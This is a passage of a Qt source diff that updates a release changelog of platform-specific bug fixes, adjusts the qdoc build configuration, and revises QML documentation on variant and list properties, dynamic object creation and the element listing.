+ - [QTBUG-14831] Fix regression in dynamic sorting of a QSortFilterProxyModel
+   on a QSqlTableModel with OnManualSubmit.
+ - [QTBUG-17076] Fix plugins/sqldrivers/oci compile error when using
+   QT_NAMESPACE.
 
 
 ****************************************************************************
 *                      Platform Specific Changes                           *
 ****************************************************************************
 
-Qt for Unix (X11 and Mac OS X)
-------------------------------
-
- - 
-
 Qt for Linux/X11
 ----------------
 
- -
+ - [QTBUG-15008] Fix broken prefix setting in configure when EPOCROOT shell
+   variable is set.
 
 Qt for Windows
 --------------
 
- -
+ - QtQuick
+    * [QTBUG-16885] QDeclarativeEngine::addImportPath() did not work if the
+      drive letter is in lowercase.
+    * [QTBUG-17360] Make sure $QTDIR/plugins/qmldebugging/tcpserver.dll is
+      found in windows release builds.
 
 Qt for Mac OS X
 ---------------
 
- -
+ - [QTBUG-13772] Returning form fullscreen mode causes assertion failure.
+ - [QTBUG-14023] Added missing plugins to debug-libs package.
+ - [QTBUG-14420] Switching from an application with undocked widgets hid the
+   application.
+ - [QTBUG-15638] Fixed incorrect QComboBox drop-down menu Z-ordering.
+ - [QTBUG-15666] Fixed crash when closing QFontDialog::getFont() dialog before
+   its event loop finished.
+ - [QTBUG-16279] Fixed deadlock in QSyntaxHighlighter::highlightBlock.
 
 Qt for Symbian
 --------------
 
+ - Multimedia
+    * [QTBUG-17040] Prevent menu and native title pane area popping up when
+      setting fullscreen mode off during video playback.
+ - Packaging changes
+    * [QTBUG-17399] Remove sqlite3 from Qt SIS for S60 3.2 and 5.0 to allow
+      Nokia Content Signing, which doesn't permit sis files to have other
+      sis files embedded inside.
+ - Paging changes
+    * [QT-3503] Remove PAGED keyword from all Qt-based binaries for
+      MMP-based build systems (abld, SBSv2 (a.k.a. Raptor)).
+      This changes the code paging field in the Symbian (E32Image) header
+      from "paged" to "default".  Thus it is left to the configuration
+      of the particular device whether paging is used for the binary or
+      not.  All devices that support code paging should have it turned
+      on (the value is stored in the HAL, so can be checked using eg.
+      fshell); data paging may or may not be turned on depending on the
+      device characteristics.  Leaving both code and data paging as
+      "default" means that any limitations in the device (eg. around
+      flash wear) can be controlled by that device by disabling the
+      appropriate types of paging rather than being forced by the binary
+      (which may be deployed to several different devices with different
+      characteristics).
  - Phonon MMF backend
    * [QTBUG-11436] Added a MediaObject property which allows the client to
      specify which Internet Access Point should be used for streaming.
-
+ - QApplication
+   * [QTBUG-15915] Fix crash when creating more than one QApplication in single
+     test case.
+   * [QTBUG-16065] QApplication object with QApplication::GuiServer type caused
+     crash on Symbian devices.
+ - QDesktopWidget
+   * [QTBUG-16095] Resize event for QDesktopWidget was sent too early.
+ - QDialog
+   * [QTBUG-16277] Fix fullscreen/Maximized dialog misplacement in Symbian.
+   * [QTBUG-16110] QMessageBox softkeys were dimmed when application returned
+     to foreground.
+ - QEventDispatcherSymbian
+   * [QTBUG-16380] Fix leaking of RTimer handles.
+ - QFileDialog
+   * [QTBUG-16204] Fix using QFileDialog statics in Symbian.
+ - QFontDatabase
+   * [QTBUG-16514] Avoid collision of application fonts.
+ - QGraphicsView
+   * [QTBUG-16932] Fix rendering errors on QGraphicsView with OpenVG engine.
+ - QLineEdit
+   * [QTBUG-16238] Fix one character displacement for cursor in line edits.
+ - qmake & mkspecs
+   * [QT-4193] Only add ICON for application projects in symbianpkgrules.pri
+   * [QTBUG-13159] Allow pkg_prerules and pkg_postrules to be targeted to separate
+     files.
+   * [QTBUG-13367] Make default application deployment removable & added .flags
+     modifier support for DEPLOYMENT items in Symbian.
+   * [QTBUG-14280] Implement support for DEPLOYMENT.display_name in Symbian.
+   * [QTBUG-13917] Localize .loc and .pkg content based on TRANSLATIONS.
+   * [QTBUG-15159] Use include(original mkspec) instead of copying of mkspec to
+     default.
+   * [QTBUG-15393] Resolve EPOCROOT in qt.conf using same logic as in .pro.
+   * [QTBUG-15501] Fix symbian-mmp.conf include path.
+   * [QTBUG-15539] Use parent class function to generate Makefile headers.
+   * [QTBUG-14472] Add NetworkServices capability automatically for network apps.
+   * [QTBUG-14736] Add libinfix support for QML plugins in Symbian.
+   * [QT-4375] Fix incorrect file name case for OpenGL libraries in
+     symbian.conf.
+   * [QTBUG-16172] Use relative include instead of absolute in default
+     qmake.conf.
+   * [QTBUG-16221] Fix libinfixed usage in Symbian when def files are used.
+   * [QTBUG-16261] Fix infinite loop in qmake when reading malformed .ts files.
+   * [QTBUG-16298] Ignore static_and_shared in Symbian builds.
+   * [QTBUG-16477] Fix compile error when QT_NO_BEARERMANAGEMENT is defined.
+   * [QTBUG-13769] Generate freeze targets in Symbian.
+   * [QTBUG-16691] Remove toolcheck from generic clean targets for
+     symbian-sbsv2.
+   * [QT-4476] Fixed UTF-8 application names in device application menu.
+   * [QTBUG-16753] Improved QMAKE_POST_LINK support in symbian-sbsv2.
+   * [QTBUG-16881] Fix QMAKE_POST_LINK for targets with special characters.
+   * [QTBUG-16888] No longer replace dash and dot in TARGET with underscore.
+   * [QTBUG-17187] Ensure that package generated against Symbian^3 SDK has no
+     Symbian^1 platforms as dependencies.
+   * Fix partial upgrade package UID for libinfixed Qt.
+   * Cleaned up sis_targets.prf.
  - QNetworkProxyFactory
-    * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing
-      network proxies configured on the device to be used by applications.
-
-Qt for Embedded Linux
----------------------
-
- -
-
-DirectFB
---------
-
- -
-
-Qt for Windows CE
------------------
-
- -
+   * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing
+     network proxies configured on the device to be used by applications.
+ - QPaintEngine
+   * [QTBUG-16008] Fixed broken constant alpha blending on ARMV6.
+   * [QTBUG-16240] Fix blurry text in word-wrapped, center-aligned text items
+     with OpenVG.
+ - QSystemSemaphore
+   * [QTBUG-16615] Fix QSystemSemaphore handle management issues in Symbian.
+ - qtmain.lib
+   * [QTBUG-14735] Use qtmain.lib to provide entry point for all applications.
+ - QtQuick
+   * [QTBUG-15405] QML Plugins were not loaded when installed on different
+     drives.
+ - QtScript
+   * [QTBUG-14293] Enhanced JavaScript heap allocator.
+   * [QTBUG-15800] Creating QScriptEngine on the heap caused app crash.
+   * [QTBUG-15847] Add compiler optimizations.
+   * [QTBUG-16685] Fix crash in JavaScript stack allocator.
+ - QWidget
+   * [QTBUG-16578] In cases where the widget was created from the event loop
+     instead of main(), the middle three softkeys would not get the right
+     visibility and would leave a "hole" in the application where one could
+     see what was beneath it.
+   * [QT-4416, QTBUG-17288] On devices which lack support for transparency
+     in EGL surfaces, setting Qt::WA_TranslucentBackground on a widget
+     whose windowType() is Qt::Window causes that widget to be rendered
+     using the raster graphics system.
+ - Tool scripts
+   * [QTBUG-13886] Disallow patching capabilities of executables.
+   * [QTBUG-13891] Add Location as self signable capability in patch_capabilities.pl.
+   * [QTBUG-15561] Only patch package content that is necessary for self-signing.
+   * Fix epocroot handling in createpackage.pl script.
+   * Unify epocroot usage in createpackage and patch_capabilities scripts.
 
 ****************************************************************************
 *                          Tools                                           *
 ****************************************************************************
 
- - Designer
-   * foo
-
- - qdoc3
-   * bar
-
- - Linguist
-   * baz
-
-****************************************************************************
-* Important Behavior Changes *
-****************************************************************************
-
- -
+ - qmake
+   * [QTBUG-14357] Make qmake to pass all UTF-8 characters unchanged through parser.
 
diff --git a/doc/doc.pri b/doc/doc.pri
index a5db3c7..3cdac61 100644
--- a/doc/doc.pri
+++ b/doc/doc.pri
@@ -19,8 +19,8 @@ $$unixstyle {
     QDOC = cd $$QT_SOURCE_TREE/tools/qdoc3/test && set QT_BUILD_TREE=$$QT_BUILD_TREE&& set QT_SOURCE_TREE=$$QT_SOURCE_TREE&& $$QT_BUILD_TREE/bin/qdoc3.exe $$DOCS_GENERATION_DEFINES
     QDOC = $$replace(QDOC, "/", "\\")
 }
-ADP_DOCS_QDOCCONF_FILE = -online qt-build-docs.qdocconf
-QT_DOCUMENTATION = ($$QDOC -creator qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \
+ADP_DOCS_QDOCCONF_FILE = qt-build-docs-online.qdocconf
+QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \
                     linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \
                (cd $$QT_BUILD_TREE && \
                     $$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index 6cd1f22..263c78b 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
 \image declarative-samegame.png
 
 We will cover concepts for producing a fully functioning application, including
-JavaScript integration, using QML  \l States and \l {Behavior}{Behaviors} to 
+JavaScript integration, using QML  \l{State}{States} and \l{Behavior}{Behaviors} to 
 manage components and enhance your interface, and storing persistent application data.
 
 An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
@@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
 
 There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
 demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
-
 */
diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc
index 941acfe..0655fdb 100644
--- a/doc/src/declarative/anchor-layout.qdoc
+++ b/doc/src/declarative/anchor-layout.qdoc
@@ -28,7 +28,7 @@
 /*!
 \page qml-anchor-layout.html
 \target anchor-layout
-\title Anchor-based Layout in QML
+\title Anchor-Based Layout in QML
 
 \section1 Overview
 
diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
index 99f1bed..8503f4e 100644
--- a/doc/src/declarative/basictypes.qdoc
+++ b/doc/src/declarative/basictypes.qdoc
@@ -174,13 +174,10 @@
     transparent blue to a quad of \c "#800000FF".
 
     Example:
-    \qml
-    Rectangle { color: "steelblue" }
-    Rectangle { color: "transparent" }
-    Rectangle { color: "#FF0000" }
-    Rectangle { color: "#800000FF" }
-    Rectangle { color: "#00000000" }    // ARGB fully transparent
-    \endqml
+    \div{float-right}
+    \inlineimage declarative-colors.png
+    \enddiv
+    \snippet doc/src/snippets/declarative/colors.qml colors
 
     Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
     \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
@@ -361,9 +358,11 @@
     Actions are used like this:
 
     \qml
-    MouseArea { onClicked: myaction.trigger() }
-    State { name: "enabled"; when: myaction.enabled == true }
-    Text { text: someaction.text }
+    Item {
+        MouseArea { onClicked: myaction.trigger() }
+        State { name: "enabled"; when: myaction.enabled == true }
+        Text { text: someaction.text }
+    }
     \endqml
 
     \sa {QML Basic Types}
@@ -400,14 +399,11 @@
     \c child1, \c child2 and \c child3 will be added to the children list
     in the order in which they appear.
 
-    List \l {Adding Properties}{properties} can be created as a
-    \c variant type, or as a \c list<Type> type, where \c Type is the
-    type of the object in the list:
+    List \l {Adding Properties}{properties} can be declared as \c list<Type>
+    type, where \c Type is the type of the object in the list:
 
     \qml
     Item {
-        property variant values: [ 10, 20, 'abc', 'xyz' ]
-
         property list<Rectangle> rects: [
             Rectangle { width: 100; height: 100},
             Rectangle { width: 200; height: 200}
@@ -415,136 +411,124 @@
     }
     \endqml
 
-    A \c variant list can contain values of any of the \l {QML Basic Types}{basic QML types}
-    such as numbers, strings, etc. while a \c list<Type> list can only contain values
-    that match (or are derived from) the specified \c Type.
+    A list property can only contain values that match (or are derived from) the
+    specified \c Type.
 
-    A list property can be cleared by setting it to an empty list:
+    While the \c rects property can be reassigned to a different list value (including
+    an empty list), its individual values cannot be modified. See the \l variant type
+    documentation for details.
 
-    \qml
-    Item {
-        children: []
-    }
-    \endqml
+    \sa {QML Basic Types}
+*/
 
-    A list property cannot be modified in any other way. Items cannot be dynamically added to
-    or removed from the list through JavaScript operations; any \c push() operations on the
-    list only modify a \e copy of the list and not the actual list. (These current limitations
-    are due to restrictions on \l {Property Binding} where lists are involved.)
+/*!
+    \qmlbasictype variant
+    \ingroup qmlbasictypes
 
-    You can, however, modify a copy of the list and then reassign the property to the modified
-    value. Other options are to create an array object from within a \c .js JavaScript file,
-    or implement a custom list element in C++. Here is a QML element that modifies the list in a
-    JavaScript file:
+    \brief A variant type is a generic property type.
 
-    \table
-    \row
-    \o
-    \qml
-    // QML
-    import "script.js" as Script
+    A variant is a generic property type. A variant type property can hold
+    any of the \l {QML Basic Types}{basic type} values:
 
+    \qml
     Item {
-        Component.onCompleted: {
-            Script.addItem('abc')
-            console.log("Added:", Script.getList()[0])
-        }
+        property variant aNumber: 100
+        property variant aString: "Hello world!"
+        property variant aBool: false
     }
     \endqml
 
-    \o
-    \code
-    // script.js
-    var myArray = new Array()
-
-    function getList() {
-        return myArray
-    }
-
-    function addItem(item) {
-        myArray.push(item)
-    }
-    \endcode
-    \endtable
+    The \c variant type can also hold:
 
-    However, note that a JavaScript list should not be used as a QML \c property value,
-    as the property is not updated when the list changes.
+    \list
+    \o An array of \l {QML Basic Types}{basic type} values
+    \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+    \endlist
 
-    \sa {QML Basic Types}
-*/
+    For example, below is an \c items array and an \c attributes map. Their
+    contents can be examined using JavaScript \c for loops. Individual array
+    values are accessible by index, and individual map values are accessible
+    by key:
 
+    \qml
+    Item {
+        property variant items: [1, 2, 3, "four", "five"]
+        property variant attributes: { 'color': 'red', 'width': 100 }
 
-/*!
-    \qmlbasictype variant
-    \ingroup qmlbasictypes
+        Component.onCompleted: {
+            for (var i=0; i<items.length; i++)
+                console.log(items[i])
 
-    \brief A variant type is a generic property type.
+            for (var prop in attributes)
+                console.log(prop, "=", attributes[prop])
+        }
+    }
+    \endqml
 
-    A variant is a generic property type. A variant type property can hold any of the
-    \l {QML Basic Types}{basic type} values:
+    While this is a convenient way to store array and map-type values, you
+    must be aware that the \c items and \c attributes properties above are \e not
+    QML objects (and certainly not JavaScript object either) and the key-value
+    pairs in \c attributes are \e not QML properties. Rather, the \c items
+    property holds an array of values, and \c attributes holds a set of key-value
+    pairs. Since they are stored as a set of values, instead of as an object,
+    their contents \e cannot be modified individually:
 
     \qml
     Item {
-        property variant aNumber : 100
-        property variant aString : "Hello world!"
-        property variant aList : [ 1, 2, "buckle my shoe" ]
+        property variant items: [1, 2, 3, "four", "five"]
+        property variant attributes: { 'color': 'red', 'width': 100 }
+
+        Component.onCompleted: {
+            items[0] = 10
+            console.log(items[0])     // This will still be '1'!
+            attributes.color = 'blue'
+            console.log(attributes.color)     // This will still be 'red'!
+        }
     }
     \endqml
 
-    The \c variant type can also hold a \e copy of a JavaScript object. For example, the
-    \c animal property below defines a JavaScript object defined with JSON notation. The
-    object's properties and values can be examined using the standard JavaScript syntax,
-    as shown in the \c Component.onCompleted handler.
+    Additionally, since \c items and \c attributes are not QML objects, changing
+    their individual values do not trigger property change notifications. If
+    the above example had \c onNumberChanged or \c onAnimalChanged signal
+    handlers, they would not have been called.  If, however, the \c items or
+    \c attributes properties themselves were reassigned to different values, then
+    such handlers would be called.
+
+    One way to "update" the contents of an array or map is to copy the property
+    to a JavaScript object, modify the copy as desired, and then reassign the
+    property to the updated copy. Note, however, that this is not efficient.
+    In the example below, which reassigns the \c attributes property, the \e entire
+    set of key-value pairs must be serialized and deserialized every time it is
+    copied between a JavaScript object and a QML property:
 
     \qml
     Item {
-        property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
+        property variant attributes: { ''color': 'red', 'width': 100 }
 
         Component.onCompleted: {
-            for (var attribute in animal)
-                console.log(attribute, "=", animal[attribute])
+            // Change the value of attributes.color to 'blue':
+            var temp = attributes     // copy all values to 'temp'
+            temp.color = 'blue'
+            attributes = temp         // copy all values back to 'attributes'
         }
     }
     \endqml
 
-    It must be noted that the \c animal property holds a \e copy of the defined object, and
-    not the object itself. (This is true even if the property refers to an object defined in
-    some JavaScript file; the property will hold a copy of the object, and not the actual
-    object.) The property essentially holds a copy of the contents within the object. This
-    has several implications:
+    Since this operation is inefficient, if a list or map should be modifiable,
+    it is better to use alternative approaches. For example, you could implement
+    a custom C++ list element, or write to a JavaScript object defined from
+    within a JavaScript file.
 
-    \list
-    \o Changes to any of the property's values (for example, the \c animal.type value
-       above) only modify the \e copy of the object, not the object itself. You can, however,
-       modify a copy of the object and then reassign the property to the modified value.
-    \o Because the property only holds a copy of the object, \l{Property Binding}{bindings} to
-       any of the property's individual values are not updated until the whole property is
-       reassigned to a new value. For example:
-
-       \qml
-       Item {
-           property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
-
-           Text { text: "Animal species: " + animal.species }
-
-           Component.onCompleted: {
-               animal.species = 'kookaburra'    // this has no effect on the displayed text
-
-               var newObj = animal
-               newObj.species = 'kookaburra'
-               animal = newObj  // this will update the displayed text
-           }
-       }
-       \endqml
-    \o Since the object values are copied, it does not hold any reference to the original
-       object, and extra data such as the object's JavaScript prototype chain is lost in the
-       process.
-    \endlist
+    JavaScript programmers should also note that when a JavaScript object is
+    copied to an array or map property, the \e contents of the object (that is,
+    its key-value properties) are copied, rather than the object itself. The
+    property does not hold a reference to the original JavaScript object, and
+    extra data such as the object's JavaScript prototype chain is also lost in
+    the process.
 
     \sa {QML Basic Types}
 */
 
-
 /*!
     \qmlbasictype vector3d
     \ingroup qmlbasictypes
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index 491e499..aa9ed18 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -91,7 +91,7 @@ Module.
 \list
 \o \l{QML Documents}
 \o \l{Property Binding}
-\o \l{Anchor-based Layout in QML}
+\o \l{Anchor-Based Layout in QML}
 \o \l{Writing QML Components: Properties, Methods and Signals}
 \o \l{QML Scope}
 \o \l{QML Modules}
diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
index 073e0c4..316fe6b 100644
--- a/doc/src/declarative/dynamicobjects.qdoc
+++ b/doc/src/declarative/dynamicobjects.qdoc
@@ -62,10 +62,16 @@ To dynamically load a component defined in a QML file, call the
 This function takes the URL of the QML file as its only argument and creates
 a \l Component object from this URL.
 
-Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
-the component. This function takes exactly one argument, which is the parent for the new item. Since graphical items will
-not appear on the scene without a parent, it is recommended that you set the parent this way. However, if you wish to set
-the parent later you can safely pass \c null to this function.
+Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of 
+the component. This function can take one or two arguments:
+\list
+\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is 
+  recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to 
+  this function. 
+\o The second is optional and is a script which assigns values to the item's properties during creation. This avoids warnings 
+  when certain properties have been bound to before they have been set by the code. Additionally, there are small performance 
+  benefits when instantiating objects in this way.
+\endlist
 
 Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
 
@@ -184,7 +190,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t
 
 \qml
 Item {
-    SelfDestroyingRect { ... }
+    SelfDestroyingRect {
+        // ...
+    }
 }
 \endqml
 
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index 40d67e7..466b940 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -29,118 +29,161 @@
   \page qdeclarativeelements.html
   \target elements
   \title QML Elements
-  \brief A dictionary of standard QML elements.
-
-  This is a dictionary of all standard QML elements made available
-  in the Qt Declarative module.
-
-  To see the QML elements listed by functional area, see the
-  \l{Groups Of Related QML Elements} page.
-
-	\table 
-	\header \o {2,1} \bold {Basic Visual Items}
-	\row \o \l {Item} \o Basic item element inherited by all visual items in QML
-	\row \o \l {Rectangle} \o Basic visual rectangle element
-	\row \o \l {Gradient} \o Defines a gradient between two or more colors
-	\row \o \l {GradientStop} \o Defines a color used in a \l {Gradient}
-	\row \o \l {Image} \o Allows the use of bitmaps to a scene
-	\row \o \l {BorderImage} (Item-specific) \o Defines an image as a border
-	\row \o \l {AnimatedImage} \o For playing animations stored as a series of frames
-	\row \o \l {Text} \o Allows the use of formatted text in a scene
-	\row \o \l {TextInput} \o Displays an editable line of text
-	\row \o \l {IntValidator} \o Validator for integer values
-	\row \o \l {DoubleValidator} \o Validator for non-integer values
-	\row \o \l {RegExpValidator} \o Validator for string regular expressions
-	\row \o \l {TextEdit} \o Displays multiple lines of editable formatted text
-
-	\header \o {2,1} \bold {Basic Interaction Items}
-	\row \o \l {MouseArea} \o Handles mouse interactions
-	\row \o \l {FocusScope} \o For keyboard focus handling 
-	\row \o \l {Flickable} \o Provides a surface that can be "flicked"  
-	\row \o \l {Flipable} \o Provides a surface that produces flipping effects
-	\row \o \l {GestureArea} (experimental) \o Enables simple gesture handling
-	 
-	\header \o {2,1} \bold {States}
-	\row \o \l {State} \o Defines sets of configurations of objects and properties
-	\row \o \l {PropertyChanges} \o Describes property changes within a state
-	\row \o \l {StateGroup} \o Contains a set of states and state transitions
-	\row \o \l {StateChangeScript} \o Allows script binding in a state
-	\row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change
-	\row \o \l {AnchorChanges} \o Change the anchors of an item in a state
-
-	\header \o {2,1} \bold {Animation and Transitions}
-	\row \o \l {Behavior} \o Specifies a default animation for property changes
-	\row \o \l {SequentialAnimation} \o Runs animations sequentially
-	\row \o \l {ParallelAnimation} \o Runs animations in parallel
-	\row \o \l {PropertyAnimation} \o Animates property changes
-	\row \o \l {NumberAnimation} \o Animates properties of type qreal
-	\row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d
-	\row \o \l {ColorAnimation} \o Animates color changes
-	\row \o \l {RotationAnimation} \o Animates rotations
-	\row \o \l {ParentAnimation} \o Animates parent changes
-	\row \o \l {AnchorAnimation} \o Animates anchor changes
-	\row \o \l {PauseAnimation} \o Pauses an animation 
-	\row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value
-	\row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion
-	\row \o \l {PropertyAction} \o Sets immediate property changes during animation
-	\row \o \l {ScriptAction} \o Runs scripts during an animation
-	\row \o \l {Transition} \o Animates transitions during state changes
-
-	\header \o {2,1} \bold {Working with Data}
-	\row \o \l {Binding} \o Binds any value to any property
-	\row \o \l {ListModel} \o Defines a list of data
-	\row \o \l {ListElement} \o Defines a data item in a \l {ListModel}
-	\row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate
-	\row \o \l {VisualDataModel} \o Encapsulates a model and a delegate
-	\row \o \l {Package} \o Collection that enables sharing of items within different views
-	\row \o \l {XmlListModel} \o Specifies a model using XPath expressions 
-	\row \o \l {XmlRole}  \o Specifies a role for an \l {XmlListModel}
-
-	\header \o {2,1} \bold {Views}
-	\row \o \l {ListView} \o Provides a list visualization of a model
-	\row \o \l {GridView} \o Provides a grid visualization of a model
-	\row \o \l {PathView} \o Visualizes a model's contents along a path
-	\row \o \l {Path} \o Defines a path used by \l {PathView}
-	\row \o \l {PathLine}  \o Defines a line in \l {Path}
-	\row \o \l {PathQuad}  \o Defines a quadratic Bezier curve in a \l {Path}
-	\row \o \l {PathCubic}  \o Defines a cubic Bezier curve in a \l {Path}
-	\row \o \l {PathAttribute}  \o Allows the setting of attributes along a \l {Path}
-	\row \o \l {PathPercent}  \o Modifies the item distribution along a \l {Path}
-	\row \o \l {WebView} \o Allows the addition of web content to a canvas
-
-	\header \o {2,1} \bold {Positioners}
-	\row \o \l {Column} \o Arranges its children vertically
-	\row \o \l {Row} \o Arranges its children horizontally
-	\row \o \l {Grid} \o Positions its children in a grid
-	\row \o \l {Flow} \o Positions its children with wrapping support
-
-	\header \o {2,1} \bold {Utility}
-	\row \o \l {Connections} \o Explicitly connects signals and signal handlers
-	\row \o \l {Component} \o Encapsulate QML items as a component
-	\row \o \l {Timer} \o Provides timed triggers 
-	\row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property
-	\row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt.
-	\row \o \l {WorkerScript} \o Enables the use of threads in QML
-	\row \o \l {Loader} \o Controls the loading of items or components
-	\row \o \l {Repeater} \o Uses a model to create multiples of components
-	\row \o \l {SystemPalette} \o Provides access to the Qt palettes
-	\row \o \l {FontLoader} \o Loads fonts by name or URL
-	\row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts 
-
-	\header \o {2,1} \bold {Transforms}
-	\row \o \l {Scale} \o Assigns item scaling behaviors
-	\row \o \l {Rotation} \o Assigns item rotation behaviors
-	\row \o \l {Translate} \o Assigns item translation behaviors
-
-	\header \o {2,1} \bold {Effects}
-	\row \o \l {Particles} (experimental) \o Generates and animates particles
-	\row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles}
-	\row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles}
-	\row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles}
-	\endtable
-	  
-  
-  
+  \brief A listing of standard QML elements.
+
+These are the functionally grouped lists of QML elements.
+
+Elements are declared with the their name and two curly braces. Elements may
+be nested in elements, thereby creating a parent-child relationship between the
+two elements.
+
+To see the QML elements listed by functional area, see the
+\l{Groups Of Related QML Elements} page.
+
+\section1 Basic QML Elements
+\list
+\o \l {Item} - Basic item element inherited by QML elements
+\o \l {Component} - Encapsulates QML elements during importing
+\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property
+\endlist
+
+\section1 Graphics
+\list
+\o \l {Rectangle} - A rectangle element
+\o \l {Image} - For incorporating bitmaps into a scene
+\o \l {BorderImage} - Allows the use of images as borders
+\o \l {AnimatedImage} - For playing animations stored in a series of frames
+\o \l {Gradient} - For defining a color gradient
+\o \l {GradientStop} - Used to define a color within a \l {Gradient}
+\o \l {SystemPalette} - Provides access to the Qt palettes
+\endlist
+
+\section1 Text Handling
+\list
+\o \l {Text} - For inserting formatted text into a scene
+\o \l {TextInput} - Captures user key input
+\o \l {TextEdit} - Displays multiple lines of editable formatted text
+\o \l {IntValidator} - Validates values as integers
+\o \l {DoubleValidator} - Validates real values
+\o \l {RegExpValidator} - Validator for string regular expressions
+\o \l {FontLoader} - Loads fonts by name or URL
+\endlist
+
+\section1 Mouse and Interaction Area
+\list
+\o \l {MouseArea} - Sets up an area for mouse interaction
+\o \l {Keys} - Provides components with attached properties to handle key input.
+\o \l {FocusScope} - Element that mediate keyboard focus changes
+\o \l {Flickable} - Provides a surface that can be "flicked"
+\o \l {Flipable} - Provides a surface that produces "flipping" effects
+\o \l {GestureArea} - Enables simple gesture handling
+\endlist
+
+\section1 Positioners and Repeater
+\list
+\o \l {Column} - Arranges its children vertically
+\o \l {Row} - Arranges its children horizontally
+\o \l {Grid} - Positions its children in a grid
+\o \l {Flow} - Positions its children with wrapping support
+\o \l {Repeater} - Uses a model to create multiple components
+\endlist
+
+\section1 Transformations
+\list
+\o \l {Scale} - Assigns item scaling behaviors
+\o \l {Rotation} - Assigns item rotation behaviors
+\o \l {Translate} - Assigns item translation behaviors
+\endlist
+
+\section1 States
+\list
+\o \l {State} - Defines sets of configurations of objects and properties
+\o \l {PropertyChanges} - Describes property changes within a state
+\o \l {StateGroup} - Contains a set of states and state transitions
+\o \l {StateChangeScript} - Allows script binding in a state
+\o \l {ParentChange} - Re-parent an Item in a state change
+\o \l {AnchorChanges} - Change the anchors of an item in a state
+\endlist
+
+\section1 Animation and Transitions
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+\section1 Models and Data Handling
+\list
+\o \l {ListModel} - Defines a list of data
+\o \l {ListElement} - Defines a data item in a \l {ListModel}
+\o \l {VisualItemModel} - Contains items that already defines its own visual delegate
+\o \l {VisualDataModel} - Encapsulates a model and a delegate
+\o \l {XmlListModel} - Specifies a model using XPath expressions
+\o \l {XmlRole} - Specifies a role for an \l {XmlListModel}
+\o \l {Binding} - Binds any value to any property
+\o \l {Package} - Collection that enables sharing of items within different views
+\endlist
+
+\section1 Views
+\list
+\o \l {ListView} - Provides a list visualization of a model
+\o \l {GridView} - Provides a grid visualization of a model
+\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information.
+\endlist
+
+\section1 Path Definition
+\list
+\o \l {Path} - Defines a path used by \l {PathView}
+\o \l {PathLine} - Defines a line in \l {Path}
+\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path}
+\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path}
+\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path}
+\o \l {PathPercent} - Modifies the item distribution along a \l {Path}
